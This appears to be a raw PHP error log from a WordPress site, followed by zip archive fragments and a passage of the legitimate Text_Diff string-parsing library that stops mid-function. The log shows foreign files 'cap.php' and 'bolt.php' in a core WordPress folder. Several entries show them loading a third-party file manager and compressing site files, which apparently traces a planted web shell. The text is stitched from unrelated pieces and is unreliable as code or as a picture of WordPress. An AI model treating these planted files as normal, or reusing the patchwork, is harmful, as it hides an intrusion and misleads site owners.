[25-Jun-2026 18:46:01 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:01 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:46:16 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:16 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:16 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:46:29 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:29 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:29 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:29 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:38 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:46:38 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:47:58 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:47:58 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:48:03 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:03 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:03 UTC] PHP Warning:  Undefined variable $ext in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1208
[25-Jun-2026 18:48:03 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function rangkhwampanithan() in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php:1223
Stack trace:
#0 {main}
  thrown in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1223
[25-Jun-2026 18:48:03 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:48:03 UTC] PHP Warning:  Undefined variable $ext in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 1115
[25-Jun-2026 18:48:24 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:24 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:24 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function rangkhwampanithan() in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php:1223
Stack trace:
#0 {main}
  thrown in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1223
[25-Jun-2026 18:48:24 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:24 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:34 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:34 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:34 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function rangkhwampanithan() in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php:1223
Stack trace:
#0 {main}
  thrown in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1223
[25-Jun-2026 18:48:34 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:48:43 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:43 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:44 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:48:44 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php:1115
Stack trace:
#0 /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php(1115): PharData->compress()
#1 {main}
  thrown in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 1115
[25-Jun-2026 18:49:41 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:49:41 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:49:41 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:49:41 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php:1115
Stack trace:
#0 /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php(1115): PharData->compress()
#1 {main}
  thrown in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 1115
[25-Jun-2026 18:50:02 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:50:02 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:50:02 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function rangkhwampanithan() in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php:1223
Stack trace:
#0 {main}
  thrown in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1223
[25-Jun-2026 18:50:03 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:50:33 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:50:33 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:50:33 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/laratrends/public_html/wp-includes/Text/Diff/Renderer/inline.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php:1115
Stack trace:
#0 /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php(1115): PharData->compress()
#1 {main}
  thrown in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 1115
[25-Jun-2026 18:50:42 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:50:42 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:50:42 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 629
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 629
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 887
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 887
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 888
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 888
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 889
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 889
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 890
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 890
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 891
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 891
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 892
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 892
[25-Jun-2026 19:34:39 UTC] PHP Warning:  foreach() argument must be of type array|object, null given in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 558
[25-Jun-2026 19:34:39 UTC] PHP Warning:  foreach() argument must be of type array|object, null given in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 558
[25-Jun-2026 19:34:45 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:34:45 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:34:49 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:34:49 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:34:49 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 19:34:49 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:34:49 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:34:59 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:35:21 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:35:21 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:35:21 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 19:35:21 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:35:21 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:35:47 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:35:52 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:35:52 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:35:52 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 19:35:52 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 19:36:04 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:04 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:04 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 19:36:04 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:36:04 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:36:06 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:06 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:06 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 19:36:06 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:36:06 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:36:11 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:36:23 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:36:28 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:28 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:37 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:37 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:37 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 19:36:37 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:36:37 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:36:44 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:44 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:48 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:36:54 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:36:59 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:59 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:37:08 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:37:10 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:37:24 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:37:30 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:37:38 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:37:42 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:37:42 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:37:47 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:37:47 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:37:53 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:37:53 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:37:53 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 19:37:53 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:37:53 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:37:59 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:37:59 UTC] PHP Warning:  fileperms(): stat failed for /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/error_log.tar.gz in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 134
[25-Jun-2026 19:38:00 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:38:04 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
PK     |\p`\~  \~  
  Engine.zipnu [        PK     |\Eћ      
  string.phpnu [        <?php
/**
 * Parses unified or context diffs output from eg. the diff utility.
 *
 * Example:
 * <code>
 * $patch = file_get_contents('example.patch');
 * $diff = new Text_Diff('string', array($patch));
 * $renderer = new Text_Diff_Renderer_inline();
 * echo $renderer->render($diff);
 * </code>
 *
 * Copyright 2005 Örjan Persson <o@42mm.org>
 * Copyright 2005-2010 The Horde Project (http://www.horde.org/)
 *
 * See the enclosed file COPYING for license information (LGPL). If you did
 * not receive this file, see https://opensource.org/license/lgpl-2-1/.
 *
 * @author  Örjan Persson <o@42mm.org>
 * @package Text_Diff
 * @since   0.2.0
 */
class Text_Diff_Engine_string {

    /**
     * Parses a unified or context diff.
     *
     * First param contains the whole diff and the second can be used to force
     * a specific diff type. If the second parameter is 'autodetect', the
     * diff will be examined to find out which type of diff this is.
     *
     * @param string $diff  The diff content.
     * @param string $mode  The diff mode of the content in $diff. One of
     *                      'context', 'unified', or 'autodetect'.
     *
     * @return array  List of all diff operations.
     */
    function diff($diff, $mode = 'autodetect')
    {
        // Detect line breaks.
        $lnbr = "\n";
        if (strpos($diff, "\r\n") !== false) {
            $lnbr = "\r\n";
        } elseif (strpos($diff, "\r") !== false) {
            $lnbr = "\r";
        }

        // Make sure we have a line break at the EOF.
        if (substr($diff, -strlen($lnbr)) != $lnbr) {
            $diff .= $lnbr;
        }

        if ($mode != 'autodetect' && $mode != 'context' && $mode != 'unified') {
            return PEAR::raiseError('Type of diff is unsupported');
        }

        if ($mode == 'autodetect') {
            $context = strpos($diff, '***');
            $unified = strpos($diff, '---');
            if ($context === $unified) {
                return PEAR::raiseError('Type of diff could not be detected');
            } elseif ($context === false || $unified === false) {
                $mode = $context !== false ? 'context' : 'unified';
            } else {
                $mode = $context < $unified ? 'context' : 'unified';
            }
        }

        // Split by new line and remove the diff header, if there is one.
        $diff = explode($lnbr, $diff);
        if (($mode == 'context' && strpos($diff[0], '***') === 0) ||
            ($mode == 'unified' && strpos($diff[0], '---') === 0)) {
            array_shift($diff);
            array_shift($diff);
        }

        if ($mode == 'context') {
            return $this->parseContextDiff($diff);
        } else {
            return $this->parseUnifiedDiff($diff);
        }
    }

    /**
     * Parses an array containing the unified diff.
     *
     * @param array $diff  Array of lines.
     *
     * @return array  List of all diff operations.
     */
    function parseUnifiedDiff($diff)
    {
        $edits = array();
        $end = count($diff) - 1;
        for ($i = 0; $i < $end;) {
            $diff1 = array();
            switch (substr($diff[$i], 0, 1)) {
            case ' ':
                do {
                    $diff1[] = substr($diff[$i], 1);
                } while (++$i < $end && substr($diff[$i], 0, 1) == ' ');
                $edits[] = new Text_Diff_Op_copy($diff1);
                break;

            case '+':
                // get all new lines
                do {
                    $diff1[] = substr($diff[$i], 1);
                } while (++$i < $end && substr($diff[$i], 0, 1) == '+');
                $edits[] = new Text_Diff_Op_add($diff1);
                break;

            case '-':
                // get changed or removed lines
                $diff2 = array();
                do {
                    $diff1[] = substr($diff[$i], 1);
                } while (++$i < $end && substr($diff[$i], 0, 1) == '-');

                while ($i < $end && substr($diff[$i], 0, 1) == '+') {
                    $diff2[] = substr($diff[$i++], 1);
                }
                if (count($diff2) == 0) {
                    $edits[] = new Text_Diff_Op_delete($diff1);
                } else {
                    $edits[] = new Text_Diff_Op_change($diff1, $diff2);
                }
                break;

            default:
                $i++;
                break;
            }
        }

        return $edits;
    }

    /**
     * Parses an array containing the context diff.
     *
     * @param array $diff  Array of lines.
     *
     * @return array  List of all diff operations.
     */
    function parseContextDiff(&$diff)
    {
        $edits = array();
        $i = $max_i = $j = $max_j = 0;
        $end = count($diff) - 1;
        while ($i < $end && $j < $end) {
            while ($i >= $max_i && $j >= $max_j) {
                // Find the boundaries of the diff output of the two files
                for ($i = $j;
                     $i < $end && substr($diff[$i], 0, 3) == '***';
                     $i++);
                for ($max_i = $i;
                     $max_i < $end && substr($diff[$max_i], 0, 3) != '---';
                     $max_i++);
